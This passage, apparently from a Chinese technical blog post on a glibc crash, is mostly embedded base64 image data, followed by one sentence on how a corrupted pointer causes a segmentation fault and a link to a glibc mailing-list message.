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" alt="" />

父函数中被污染的指针在之后的代码被取成员访问,最终导致segment fault

Relevant Link:

https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html
